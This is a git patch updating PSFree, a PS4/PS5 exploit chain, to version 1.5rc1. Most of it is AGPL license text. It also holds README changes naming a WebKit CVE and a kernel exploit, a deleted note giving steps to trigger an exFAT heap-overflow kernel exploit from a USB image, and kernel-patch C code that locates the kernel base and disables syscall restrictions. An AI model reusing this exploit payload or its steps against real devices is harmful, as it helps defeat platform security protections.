From 1220a577a278db9cc1bdb0e45003ca0a186a584a Mon Sep 17 00:00:00 2001
From: Kameleon <77245601+kmeps4@users.noreply.github.com>
Date: Sat, 10 May 2025 09:34:58 -0600
Subject: [PATCH] Update to psfree-1.5rc1
900 Port in process: DO NOT USE IT.
---
COPYING | 661 ++++++++
README.md | 45 +-
about.html | 42 +-
alert.mjs | 44 +-
config.mjs | 105 +-
exploit.mjs | 757 ---------
fonts/FONTS.LICENSE | 101 ++
fonts/LiberationMono-Regular.ttf | Bin 0 -> 319624 bytes
fonts/README.txt | 3 +
index.html | 63 +-
kernel/80x.txt | 23 -
kpatch/80x.c | 138 +-
kpatch/80x.d | 1 +
kernel/exfathax_pico.img => kpatch/80x.elf | Bin 6144 -> 5216 bytes
kpatch/80x.o | Bin 0 -> 1832 bytes
kpatch/Makefile | 10 +-
kpatch/utils.h | 2 +-
module/chain.mjs | 542 +++++-
module/int64.mjs | 237 +--
module/mem.mjs | 448 +++--
module/memtools.mjs | 69 +-
module/offset.mjs | 29 +-
module/rw.mjs | 69 +-
module/utils.mjs | 145 +-
module/view.mjs | 261 +++
psfree.mjs | 863 ++++++++++
rop/800.mjs | 1253 ++------------
rop/900.mjs | 276 ++--
scripts/lapse.mjs | 1739 ++++++++++++++++++++
send.mjs | 68 +-
30 files changed, 5271 insertions(+), 2723 deletions(-)
create mode 100644 COPYING
delete mode 100644 exploit.mjs
create mode 100644 fonts/FONTS.LICENSE
create mode 100644 fonts/LiberationMono-Regular.ttf
create mode 100644 fonts/README.txt
delete mode 100644 kernel/80x.txt
create mode 100644 kpatch/80x.d
rename kernel/exfathax_pico.img => kpatch/80x.elf (62%)
create mode 100644 kpatch/80x.o
create mode 100644 module/view.mjs
create mode 100644 psfree.mjs
create mode 100644 scripts/lapse.mjs
diff --git a/COPYING b/COPYING
new file mode 100644
index 0000000..be3f7b2
--- /dev/null
+++ b/COPYING
@@ -0,0 +1,661 @@
+ GNU AFFERO GENERAL PUBLIC LICENSE
+ Version 3, 19 November 2007
+
+ Copyright (C) 2007 Free Software Foundation, Inc.
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+ Preamble
+
+ The GNU Affero General Public License is a free, copyleft license for
+software and other kinds of works, specifically designed to ensure
+cooperation with the community in the case of network server software.
+
+ The licenses for most software and other practical works are designed
+to take away your freedom to share and change the works. By contrast,
+our General Public Licenses are intended to guarantee your freedom to
+share and change all versions of a program--to make sure it remains free
+software for all its users.
+
+ When we speak of free software, we are referring to freedom, not
+price. Our General Public Licenses are designed to make sure that you
+have the freedom to distribute copies of free software (and charge for
+them if you wish), that you receive source code or can get it if you
+want it, that you can change the software or use pieces of it in new
+free programs, and that you know you can do these things.
+
+ Developers that use our General Public Licenses protect your rights
+with two steps: (1) assert copyright on the software, and (2) offer
+you this License which gives you legal permission to copy, distribute
+and/or modify the software.
+
+ A secondary benefit of defending all users' freedom is that
+improvements made in alternate versions of the program, if they
+receive widespread use, become available for other developers to
+incorporate. Many developers of free software are heartened and
+encouraged by the resulting cooperation. However, in the case of
+software used on network servers, this result may fail to come about.
+The GNU General Public License permits making a modified version and
+letting the public access it on a server without ever releasing its
+source code to the public.
+
+ The GNU Affero General Public License is designed specifically to
+ensure that, in such cases, the modified source code becomes available
+to the community. It requires the operator of a network server to
+provide the source code of the modified version running there to the
+users of that server. Therefore, public use of a modified version, on
+a publicly accessible server, gives the public access to the source
+code of the modified version.
+
+ An older license, called the Affero General Public License and
+published by Affero, was designed to accomplish similar goals. This is
+a different license, not a version of the Affero GPL, but Affero has
+released a new version of the Affero GPL which permits relicensing under
+this license.
+
+ The precise terms and conditions for copying, distribution and
+modification follow.
+
+ TERMS AND CONDITIONS
+
+ 0. Definitions.
+
+ "This License" refers to version 3 of the GNU Affero General Public License.
+
+ "Copyright" also means copyright-like laws that apply to other kinds of
+works, such as semiconductor masks.
+
+ "The Program" refers to any copyrightable work licensed under this
+License. Each licensee is addressed as "you". "Licensees" and
+"recipients" may be individuals or organizations.
+
+ To "modify" a work means to copy from or adapt all or part of the work
+in a fashion requiring copyright permission, other than the making of an
+exact copy. The resulting work is called a "modified version" of the
+earlier work or a work "based on" the earlier work.
+
+ A "covered work" means either the unmodified Program or a work based
+on the Program.
+
+ To "propagate" a work means to do anything with it that, without
+permission, would make you directly or secondarily liable for
+infringement under applicable copyright law, except executing it on a
+computer or modifying a private copy. Propagation includes copying,
+distribution (with or without modification), making available to the
+public, and in some countries other activities as well.
+
+ To "convey" a work means any kind of propagation that enables other
+parties to make or receive copies. Mere interaction with a user through
+a computer network, with no transfer of a copy, is not conveying.
+
+ An interactive user interface displays "Appropriate Legal Notices"
+to the extent that it includes a convenient and prominently visible
+feature that (1) displays an appropriate copyright notice, and (2)
+tells the user that there is no warranty for the work (except to the
+extent that warranties are provided), that licensees may convey the
+work under this License, and how to view a copy of this License. If
+the interface presents a list of user commands or options, such as a
+menu, a prominent item in the list meets this criterion.
+
+ 1. Source Code.
+
+ The "source code" for a work means the preferred form of the work
+for making modifications to it. "Object code" means any non-source
+form of a work.
+
+ A "Standard Interface" means an interface that either is an official
+standard defined by a recognized standards body, or, in the case of
+interfaces specified for a particular programming language, one that
+is widely used among developers working in that language.
+
+ The "System Libraries" of an executable work include anything, other
+than the work as a whole, that (a) is included in the normal form of
+packaging a Major Component, but which is not part of that Major
+Component, and (b) serves only to enable use of the work with that
+Major Component, or to implement a Standard Interface for which an
+implementation is available to the public in source code form. A
+"Major Component", in this context, means a major essential component
+(kernel, window system, and so on) of the specific operating system
+(if any) on which the executable work runs, or a compiler used to
+produce the work, or an object code interpreter used to run it.
+
+ The "Corresponding Source" for a work in object code form means all
+the source code needed to generate, install, and (for an executable
+work) run the object code and to modify the work, including scripts to
+control those activities. However, it does not include the work's
+System Libraries, or general-purpose tools or generally available free
+programs which are used unmodified in performing those activities but
+which are not part of the work. For example, Corresponding Source
+includes interface definition files associated with source files for
+the work, and the source code for shared libraries and dynamically
+linked subprograms that the work is specifically designed to require,
+such as by intimate data communication or control flow between those
+subprograms and other parts of the work.
+
+ The Corresponding Source need not include anything that users
+can regenerate automatically from other parts of the Corresponding
+Source.
+
+ The Corresponding Source for a work in source code form is that
+same work.
+
+ 2. Basic Permissions.
+
+ All rights granted under this License are granted for the term of
+copyright on the Program, and are irrevocable provided the stated
+conditions are met. This License explicitly affirms your unlimited
+permission to run the unmodified Program. The output from running a
+covered work is covered by this License only if the output, given its
+content, constitutes a covered work. This License acknowledges your
+rights of fair use or other equivalent, as provided by copyright law.
+
+ You may make, run and propagate covered works that you do not
+convey, without conditions so long as your license otherwise remains
+in force. You may convey covered works to others for the sole purpose
+of having them make modifications exclusively for you, or provide you
+with facilities for running those works, provided that you comply with
+the terms of this License in conveying all material for which you do
+not control copyright. Those thus making or running the covered works
+for you must do so exclusively on your behalf, under your direction
+and control, on terms that prohibit them from making any copies of
+your copyrighted material outside their relationship with you.
+
+ Conveying under any other circumstances is permitted solely under
+the conditions stated below. Sublicensing is not allowed; section 10
+makes it unnecessary.
+
+ 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
+
+ No covered work shall be deemed part of an effective technological
+measure under any applicable law fulfilling obligations under article
+11 of the WIPO copyright treaty adopted on 20 December 1996, or
+similar laws prohibiting or restricting circumvention of such
+measures.
+
+ When you convey a covered work, you waive any legal power to forbid
+circumvention of technological measures to the extent such circumvention
+is effected by exercising rights under this License with respect to
+the covered work, and you disclaim any intention to limit operation or
+modification of the work as a means of enforcing, against the work's
+users, your or third parties' legal rights to forbid circumvention of
+technological measures.
+
+ 4. Conveying Verbatim Copies.
+
+ You may convey verbatim copies of the Program's source code as you
+receive it, in any medium, provided that you conspicuously and
+appropriately publish on each copy an appropriate copyright notice;
+keep intact all notices stating that this License and any
+non-permissive terms added in accord with section 7 apply to the code;
+keep intact all notices of the absence of any warranty; and give all
+recipients a copy of this License along with the Program.
+
+ You may charge any price or no price for each copy that you convey,
+and you may offer support or warranty protection for a fee.
+
+ 5. Conveying Modified Source Versions.
+
+ You may convey a work based on the Program, or the modifications to
+produce it from the Program, in the form of source code under the
+terms of section 4, provided that you also meet all of these conditions:
+
+ a) The work must carry prominent notices stating that you modified
+ it, and giving a relevant date.
+
+ b) The work must carry prominent notices stating that it is
+ released under this License and any conditions added under section
+ 7. This requirement modifies the requirement in section 4 to
+ "keep intact all notices".
+
+ c) You must license the entire work, as a whole, under this
+ License to anyone who comes into possession of a copy. This
+ License will therefore apply, along with any applicable section 7
+ additional terms, to the whole of the work, and all its parts,
+ regardless of how they are packaged. This License gives no
+ permission to license the work in any other way, but it does not
+ invalidate such permission if you have separately received it.
+
+ d) If the work has interactive user interfaces, each must display
+ Appropriate Legal Notices; however, if the Program has interactive
+ interfaces that do not display Appropriate Legal Notices, your
+ work need not make them do so.
+
+ A compilation of a covered work with other separate and independent
+works, which are not by their nature extensions of the covered work,
+and which are not combined with it such as to form a larger program,
+in or on a volume of a storage or distribution medium, is called an
+"aggregate" if the compilation and its resulting copyright are not
+used to limit the access or legal rights of the compilation's users
+beyond what the individual works permit. Inclusion of a covered work
+in an aggregate does not cause this License to apply to the other
+parts of the aggregate.
+
+ 6. Conveying Non-Source Forms.
+
+ You may convey a covered work in object code form under the terms
+of sections 4 and 5, provided that you also convey the
+machine-readable Corresponding Source under the terms of this License,
+in one of these ways:
+
+ a) Convey the object code in, or embodied in, a physical product
+ (including a physical distribution medium), accompanied by the
+ Corresponding Source fixed on a durable physical medium
+ customarily used for software interchange.
+
+ b) Convey the object code in, or embodied in, a physical product
+ (including a physical distribution medium), accompanied by a
+ written offer, valid for at least three years and valid for as
+ long as you offer spare parts or customer support for that product
+ model, to give anyone who possesses the object code either (1) a
+ copy of the Corresponding Source for all the software in the
+ product that is covered by this License, on a durable physical
+ medium customarily used for software interchange, for a price no
+ more than your reasonable cost of physically performing this
+ conveying of source, or (2) access to copy the
+ Corresponding Source from a network server at no charge.
+
+ c) Convey individual copies of the object code with a copy of the
+ written offer to provide the Corresponding Source. This
+ alternative is allowed only occasionally and noncommercially, and
+ only if you received the object code with such an offer, in accord
+ with subsection 6b.
+
+ d) Convey the object code by offering access from a designated
+ place (gratis or for a charge), and offer equivalent access to the
+ Corresponding Source in the same way through the same place at no
+ further charge. You need not require recipients to copy the
+ Corresponding Source along with the object code. If the place to
+ copy the object code is a network server, the Corresponding Source
+ may be on a different server (operated by you or a third party)
+ that supports equivalent copying facilities, provided you maintain
+ clear directions next to the object code saying where to find the
+ Corresponding Source. Regardless of what server hosts the
+ Corresponding Source, you remain obligated to ensure that it is
+ available for as long as needed to satisfy these requirements.
+
+ e) Convey the object code using peer-to-peer transmission, provided
+ you inform other peers where the object code and Corresponding
+ Source of the work are being offered to the general public at no
+ charge under subsection 6d.
+
+ A separable portion of the object code, whose source code is excluded
+from the Corresponding Source as a System Library, need not be
+included in conveying the object code work.
+
+ A "User Product" is either (1) a "consumer product", which means any
+tangible personal property which is normally used for personal, family,
+or household purposes, or (2) anything designed or sold for incorporation
+into a dwelling. In determining whether a product is a consumer product,
+doubtful cases shall be resolved in favor of coverage. For a particular
+product received by a particular user, "normally used" refers to a
+typical or common use of that class of product, regardless of the status
+of the particular user or of the way in which the particular user
+actually uses, or expects or is expected to use, the product. A product
+is a consumer product regardless of whether the product has substantial
+commercial, industrial or non-consumer uses, unless such uses represent
+the only significant mode of use of the product.
+
+ "Installation Information" for a User Product means any methods,
+procedures, authorization keys, or other information required to install
+and execute modified versions of a covered work in that User Product from
+a modified version of its Corresponding Source. The information must
+suffice to ensure that the continued functioning of the modified object
+code is in no case prevented or interfered with solely because
+modification has been made.
+
+ If you convey an object code work under this section in, or with, or
+specifically for use in, a User Product, and the conveying occurs as
+part of a transaction in which the right of possession and use of the
+User Product is transferred to the recipient in perpetuity or for a
+fixed term (regardless of how the transaction is characterized), the
+Corresponding Source conveyed under this section must be accompanied
+by the Installation Information. But this requirement does not apply
+if neither you nor any third party retains the ability to install
+modified object code on the User Product (for example, the work has
+been installed in ROM).
+
+ The requirement to provide Installation Information does not include a
+requirement to continue to provide support service, warranty, or updates
+for a work that has been modified or installed by the recipient, or for
+the User Product in which it has been modified or installed. Access to a
+network may be denied when the modification itself materially and
+adversely affects the operation of the network or violates the rules and
+protocols for communication across the network.
+
+ Corresponding Source conveyed, and Installation Information provided,
+in accord with this section must be in a format that is publicly
+documented (and with an implementation available to the public in
+source code form), and must require no special password or key for
+unpacking, reading or copying.
+
+ 7. Additional Terms.
+
+ "Additional permissions" are terms that supplement the terms of this
+License by making exceptions from one or more of its conditions.
+Additional permissions that are applicable to the entire Program shall
+be treated as though they were included in this License, to the extent
+that they are valid under applicable law. If additional permissions
+apply only to part of the Program, that part may be used separately
+under those permissions, but the entire Program remains governed by
+this License without regard to the additional permissions.
+
+ When you convey a copy of a covered work, you may at your option
+remove any additional permissions from that copy, or from any part of
+it. (Additional permissions may be written to require their own
+removal in certain cases when you modify the work.) You may place
+additional permissions on material, added by you to a covered work,
+for which you have or can give appropriate copyright permission.
+
+ Notwithstanding any other provision of this License, for material you
+add to a covered work, you may (if authorized by the copyright holders of
+that material) supplement the terms of this License with terms:
+
+ a) Disclaiming warranty or limiting liability differently from the
+ terms of sections 15 and 16 of this License; or
+
+ b) Requiring preservation of specified reasonable legal notices or
+ author attributions in that material or in the Appropriate Legal
+ Notices displayed by works containing it; or
+
+ c) Prohibiting misrepresentation of the origin of that material, or
+ requiring that modified versions of such material be marked in
+ reasonable ways as different from the original version; or
+
+ d) Limiting the use for publicity purposes of names of licensors or
+ authors of the material; or
+
+ e) Declining to grant rights under trademark law for use of some
+ trade names, trademarks, or service marks; or
+
+ f) Requiring indemnification of licensors and authors of that
+ material by anyone who conveys the material (or modified versions of
+ it) with contractual assumptions of liability to the recipient, for
+ any liability that these contractual assumptions directly impose on
+ those licensors and authors.
+
+ All other non-permissive additional terms are considered "further
+restrictions" within the meaning of section 10. If the Program as you
+received it, or any part of it, contains a notice stating that it is
+governed by this License along with a term that is a further
+restriction, you may remove that term. If a license document contains
+a further restriction but permits relicensing or conveying under this
+License, you may add to a covered work material governed by the terms
+of that license document, provided that the further restriction does
+not survive such relicensing or conveying.
+
+ If you add terms to a covered work in accord with this section, you
+must place, in the relevant source files, a statement of the
+additional terms that apply to those files, or a notice indicating
+where to find the applicable terms.
+
+ Additional terms, permissive or non-permissive, may be stated in the
+form of a separately written license, or stated as exceptions;
+the above requirements apply either way.
+
+ 8. Termination.
+
+ You may not propagate or modify a covered work except as expressly
+provided under this License. Any attempt otherwise to propagate or
+modify it is void, and will automatically terminate your rights under
+this License (including any patent licenses granted under the third
+paragraph of section 11).
+
+ However, if you cease all violation of this License, then your
+license from a particular copyright holder is reinstated (a)
+provisionally, unless and until the copyright holder explicitly and
+finally terminates your license, and (b) permanently, if the copyright
+holder fails to notify you of the violation by some reasonable means
+prior to 60 days after the cessation.
+
+ Moreover, your license from a particular copyright holder is
+reinstated permanently if the copyright holder notifies you of the
+violation by some reasonable means, this is the first time you have
+received notice of violation of this License (for any work) from that
+copyright holder, and you cure the violation prior to 30 days after
+your receipt of the notice.
+
+ Termination of your rights under this section does not terminate the
+licenses of parties who have received copies or rights from you under
+this License. If your rights have been terminated and not permanently
+reinstated, you do not qualify to receive new licenses for the same
+material under section 10.
+
+ 9. Acceptance Not Required for Having Copies.
+
+ You are not required to accept this License in order to receive or
+run a copy of the Program. Ancillary propagation of a covered work
+occurring solely as a consequence of using peer-to-peer transmission
+to receive a copy likewise does not require acceptance. However,
+nothing other than this License grants you permission to propagate or
+modify any covered work. These actions infringe copyright if you do
+not accept this License. Therefore, by modifying or propagating a
+covered work, you indicate your acceptance of this License to do so.
+
+ 10. Automatic Licensing of Downstream Recipients.
+
+ Each time you convey a covered work, the recipient automatically
+receives a license from the original licensors, to run, modify and
+propagate that work, subject to this License. You are not responsible
+for enforcing compliance by third parties with this License.
+
+ An "entity transaction" is a transaction transferring control of an
+organization, or substantially all assets of one, or subdividing an
+organization, or merging organizations. If propagation of a covered
+work results from an entity transaction, each party to that
+transaction who receives a copy of the work also receives whatever
+licenses to the work the party's predecessor in interest had or could
+give under the previous paragraph, plus a right to possession of the
+Corresponding Source of the work from the predecessor in interest, if
+the predecessor has it or can get it with reasonable efforts.
+
+ You may not impose any further restrictions on the exercise of the
+rights granted or affirmed under this License. For example, you may
+not impose a license fee, royalty, or other charge for exercise of
+rights granted under this License, and you may not initiate litigation
+(including a cross-claim or counterclaim in a lawsuit) alleging that
+any patent claim is infringed by making, using, selling, offering for
+sale, or importing the Program or any portion of it.
+
+ 11. Patents.
+
+ A "contributor" is a copyright holder who authorizes use under this
+License of the Program or a work on which the Program is based. The
+work thus licensed is called the contributor's "contributor version".
+
+ A contributor's "essential patent claims" are all patent claims
+owned or controlled by the contributor, whether already acquired or
+hereafter acquired, that would be infringed by some manner, permitted
+by this License, of making, using, or selling its contributor version,
+but do not include claims that would be infringed only as a
+consequence of further modification of the contributor version. For
+purposes of this definition, "control" includes the right to grant
+patent sublicenses in a manner consistent with the requirements of
+this License.
+
+ Each contributor grants you a non-exclusive, worldwide, royalty-free
+patent license under the contributor's essential patent claims, to
+make, use, sell, offer for sale, import and otherwise run, modify and
+propagate the contents of its contributor version.
+
+ In the following three paragraphs, a "patent license" is any express
+agreement or commitment, however denominated, not to enforce a patent
+(such as an express permission to practice a patent or covenant not to
+sue for patent infringement). To "grant" such a patent license to a
+party means to make such an agreement or commitment not to enforce a
+patent against the party.
+
+ If you convey a covered work, knowingly relying on a patent license,
+and the Corresponding Source of the work is not available for anyone
+to copy, free of charge and under the terms of this License, through a
+publicly available network server or other readily accessible means,
+then you must either (1) cause the Corresponding Source to be so
+available, or (2) arrange to deprive yourself of the benefit of the
+patent license for this particular work, or (3) arrange, in a manner
+consistent with the requirements of this License, to extend the patent
+license to downstream recipients. "Knowingly relying" means you have
+actual knowledge that, but for the patent license, your conveying the
+covered work in a country, or your recipient's use of the covered work
+in a country, would infringe one or more identifiable patents in that
+country that you have reason to believe are valid.
+
+ If, pursuant to or in connection with a single transaction or
+arrangement, you convey, or propagate by procuring conveyance of, a
+covered work, and grant a patent license to some of the parties
+receiving the covered work authorizing them to use, propagate, modify
+or convey a specific copy of the covered work, then the patent license
+you grant is automatically extended to all recipients of the covered
+work and works based on it.
+
+ A patent license is "discriminatory" if it does not include within
+the scope of its coverage, prohibits the exercise of, or is
+conditioned on the non-exercise of one or more of the rights that are
+specifically granted under this License. You may not convey a covered
+work if you are a party to an arrangement with a third party that is
+in the business of distributing software, under which you make payment
+to the third party based on the extent of your activity of conveying
+the work, and under which the third party grants, to any of the
+parties who would receive the covered work from you, a discriminatory
+patent license (a) in connection with copies of the covered work
+conveyed by you (or copies made from those copies), or (b) primarily
+for and in connection with specific products or compilations that
+contain the covered work, unless you entered into that arrangement,
+or that patent license was granted, prior to 28 March 2007.
+
+ Nothing in this License shall be construed as excluding or limiting
+any implied license or other defenses to infringement that may
+otherwise be available to you under applicable patent law.
+
+ 12. No Surrender of Others' Freedom.
+
+ If conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License. If you cannot convey a
+covered work so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you may
+not convey it at all. For example, if you agree to terms that obligate you
+to collect a royalty for further conveying from those to whom you convey
+the Program, the only way you could satisfy both those terms and this
+License would be to refrain entirely from conveying the Program.
+
+ 13. Remote Network Interaction; Use with the GNU General Public License.
+
+ Notwithstanding any other provision of this License, if you modify the
+Program, your modified version must prominently offer all users
+interacting with it remotely through a computer network (if your version
+supports such interaction) an opportunity to receive the Corresponding
+Source of your version by providing access to the Corresponding Source
+from a network server at no charge, through some standard or customary
+means of facilitating copying of software. This Corresponding Source
+shall include the Corresponding Source for any work covered by version 3
+of the GNU General Public License that is incorporated pursuant to the
+following paragraph.
+
+ Notwithstanding any other provision of this License, you have
+permission to link or combine any covered work with a work licensed
+under version 3 of the GNU General Public License into a single
+combined work, and to convey the resulting work. The terms of this
+License will continue to apply to the part which is the covered work,
+but the work with which it is combined will remain governed by version
+3 of the GNU General Public License.
+
+ 14. Revised Versions of this License.
+
+ The Free Software Foundation may publish revised and/or new versions of
+the GNU Affero General Public License from time to time. Such new versions
+will be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
+ Each version is given a distinguishing version number. If the
+Program specifies that a certain numbered version of the GNU Affero General
+Public License "or any later version" applies to it, you have the
+option of following the terms and conditions either of that numbered
+version or of any later version published by the Free Software
+Foundation. If the Program does not specify a version number of the
+GNU Affero General Public License, you may choose any version ever published
+by the Free Software Foundation.
+
+ If the Program specifies that a proxy can decide which future
+versions of the GNU Affero General Public License can be used, that proxy's
+public statement of acceptance of a version permanently authorizes you
+to choose that version for the Program.
+
+ Later license versions may give you additional or different
+permissions. However, no additional obligations are imposed on any
+author or copyright holder as a result of your choosing to follow a
+later version.
+
+ 15. Disclaimer of Warranty.
+
+ THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
+APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
+HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
+OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
+THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
+IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
+ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+ 16. Limitation of Liability.
+
+ IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
+THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
+GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
+USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
+DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
+PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
+EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
+SUCH DAMAGES.
+
+ 17. Interpretation of Sections 15 and 16.
+
+ If the disclaimer of warranty and limitation of liability provided
+above cannot be given local legal effect according to their terms,
+reviewing courts shall apply local law that most closely approximates
+an absolute waiver of all civil liability in connection with the
+Program, unless a warranty or assumption of liability accompanies a
+copy of the Program in return for a fee.
+
+ END OF TERMS AND CONDITIONS
+
+ How to Apply These Terms to Your New Programs
+
+ If you develop a new program, and you want it to be of the greatest
+possible use to the public, the best way to achieve this is to make it
+free software which everyone can redistribute and change under these terms.
+
+ To do so, attach the following notices to the program. It is safest
+to attach them to the start of each source file to most effectively
+state the exclusion of warranty; and each file should have at least
+the "copyright" line and a pointer to where the full notice is found.
+
+
+ Copyright (C)
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU Affero General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU Affero General Public License for more details.
+
+ You should have received a copy of the GNU Affero General Public License
+ along with this program. If not, see .
+
+Also add information on how to contact you by electronic and paper mail.
+
+ If your software can interact with users remotely through a computer
+network, you should also make sure that it provides a way for users to
+get its source. For example, if your program is a web application, its
+interface could display a "Source" link that leads users to an archive
+of the code. There are many ways you could offer source, and different
+solutions will be better for different programs; see section 13 for the
+specific requirements.
+
+ You should also get your employer (if you work as a programmer) or school,
+if any, to sign a "copyright disclaimer" for the program, if necessary.
+For more information on this, and how to apply and follow the GNU AGPL, see
+.
diff --git a/README.md b/README.md
index 6ca1cf3..a1ab8d0 100644
--- a/README.md
+++ b/README.md
@@ -1,33 +1,20 @@
-PSFree version 1.4.0
+# PSFree version 1.5.0
-PSFree is a WebKit exploit using CVE-2022-22620 to gain arbitrary read/write.
+PSFree is a collection of exploits for the PS4 console. The main focus of the
+repo is for the PS4 but we try to make things portable to PS5.
-vulnerable:
-* PS4 6.xx-9.xx (tested 6.00-9.60)
-* PS5 1.xx-5.xx (tested 1.00-5.50)
+* Exploits
+ * PSFree: src/psfree.mjs
+ * Lapse (kernel): src/scripts/lapse.mjs
-CREDITS:
+Donation (Monero/XMR):
+86Fk3X9AE94EGKidzRbvyiVgGNYD3qZnuKNq1ZbsomFWXHYm6TtAgz9GNGitPWadkS3Wr9uXoT29U1SfdMtJ7QNKQpW1CVS
+
+# COPYRIGHT AND AUTHORS:
+AGPL-3.0-or-later (see src/COPYING). This repo belongs to the group
+`anonymous`. We refer to anonymous contributors as "anonymous" as well.
+
+# CREDITS:
* anonymous for PS4 firmware kernel dumps
-
-* janisslsm from ps4-dev on discord.com
- * contributed ROP chain managers for 8.5x and 9.0x
- * contributer of the ROP chain manager for 9.5x
- * Helped in figuring out the size of JSC::ArrayBufferContents and its needed
- offsets on different firmwares.
-
-* barooney from ps4-dev on discord.com
- * contributer of the ROP chain manager for 9.5x
-
-* CelesteBlue from ps4-dev on discord.com
- * Helped in figuring out the size of WebCore::SerializedScriptValue and its
- needed offsets on different firmwares.
- * figured out the range of vulnerable firmwares
-
-* Kameleon_ from ps4-dev discord
- * Asked people to test 1.3.0 (beta) on other firmwares and reported if the
- peformance boost worked (reports from 6.72-9.60).
-
-* Quentin Meffre (@0xdagger) and Mehdi Talbi (@abu_y0ussef) for the 6.xx
- buildBubbleTree() UaF exploit that served as the framework for the exploit.
-
-* Maddie Stone for the CVE writeup
+* Check the appropriate files for any **extra** contributors. Unless otherwise
+ stated, everything here can also be credited to us.
diff --git a/about.html b/about.html
index 1574382..2fc6be3 100644
--- a/about.html
+++ b/about.html
@@ -1,4 +1,4 @@
-
-
-
-
-
- PSFree 1.4.0 Beta 4
-
-
-
- PS4/PS5 exploit using CVE-2022-22620
- PS4 versions vulnerable: 6.xx-9.xx (tested 6.00-9.60)
- PS5 versions vulnerable: 1.xx-5.xx (tested 1.00-5.50)
- JavaScript license information
-
-
-
\ No newline at end of file
+
+
+
+ exploit
+
+
+
+ PSFree: A PS4/PS5 Exploit Chain
+ Donation (Monero/XMR):
+ 86Fk3X9AE94EGKidzRbvyiVgGNYD3qZnuKNq1ZbsomFWXHYm6TtAgz9GNGitPWadkS3Wr9uXoT29U1SfdMtJ7QNKQpW1CVS
+ See JavaScript license information for the
+ source code and license.
+
+
+
+
diff --git a/kernel/80x.txt b/kernel/80x.txt
deleted file mode 100644
index 1ea45fd..0000000
--- a/kernel/80x.txt
+++ /dev/null
@@ -1,23 +0,0 @@
-The kernel exploit for the PS4 8.0x firmware series is based on pOOBs4.
-exfathax_pico.img is from pOOBs4. This is currently a work in progress.
-
-steps:
-* write the exfathax_pico.img file to a USB drive
- $ dd if=exfathax_pico.img of=/dev/
-* modify exploit.mjs to run rop/800.mjs:
- import('./code.mj') -> import('./rop/800.mjs')
-
-loading the exploit:
-* have the browser load index.html
-* wait for the "insert USB" alert dialog to prompt you
-* Wait for this console notification to pop up: "This USB storage device's file
- system is unsupported".
-* close the "insert USB" alert dialog by clicking "OK"
-* keep closing future alert dialogs
-* once you reach a log saying "kernel exploit succeeded", you're done
-
-exFAT heap overflow bug hackerone report:
-https://hackerone.com/reports/1340942
-
-pOOBs4:
-https://github.com/ChendoChap/pOOBs4
diff --git a/kpatch/80x.c b/kpatch/80x.c
index b00a63c..9f90996 100644
--- a/kpatch/80x.c
+++ b/kpatch/80x.c
@@ -1,4 +1,4 @@
-/* Copyright (C) 2024 anonymous
+/* Copyright (C) 2024-2025 anonymous
This file is part of PSFree.
@@ -20,14 +20,38 @@ along with this program. If not, see . */
#include "types.h"
#include "utils.h"
-// Args:
-// res:
-// Needed value to return (as to not crash) if the caller of the hijacked
-// function is expecting some valid value.
-// error:
-// Address to return an error. 0 for success.
+struct kexec_args {
+ u64 entry;
+ u64 arg1;
+ u64 arg2;
+ u64 arg3;
+ u64 arg4;
+ u64 arg5;
+};
+
+void do_patch(void);
+void restore(struct kexec_args *uap);
+
__attribute__((section (".text.start")))
-u64 kpatch(u64 res, u64 *error) {
+int kpatch(void *td, struct kexec_args *uap) {
+ do_patch();
+ restore(uap);
+ return 0;
+}
+
+void restore(struct kexec_args *uap) {
+ u8 *pipe = uap->arg1;
+ u8 *pipebuf = uap->arg2;
+ for (size_t i = 0; i < 0x18; i++) {
+ pipe[i] = pipebuf[i];
+ }
+ u64 *pktinfo_field = uap->arg3;
+ *pktinfo_field = 0;
+ u64 *pktinfo_field2 = uap->arg4;
+ *pktinfo_field2 = 0;
+}
+
+void do_patch(void) {
// offset to fast_syscall()
const size_t off_fast_syscall = 0x1c0;
void * const kbase = (void *)rdmsr(0xc0000082) - off_fast_syscall;
@@ -36,30 +60,39 @@ u64 kpatch(u64 res, u64 *error) {
// patch amd64_syscall() to allow calling syscalls everywhere
- // mov ecx, 0xffffffff ; at 0x490, patch to "mov ecx, 0"
- // mov rax, qword [r15 + 0x340] ; check if libkernel is loaded
- // test rax, rax
- // je not_loaded
- // ; 0x4b5 and 0x4b9 are replaced with NOPs so that we always reach
- // ; 0x4c2
- // ...
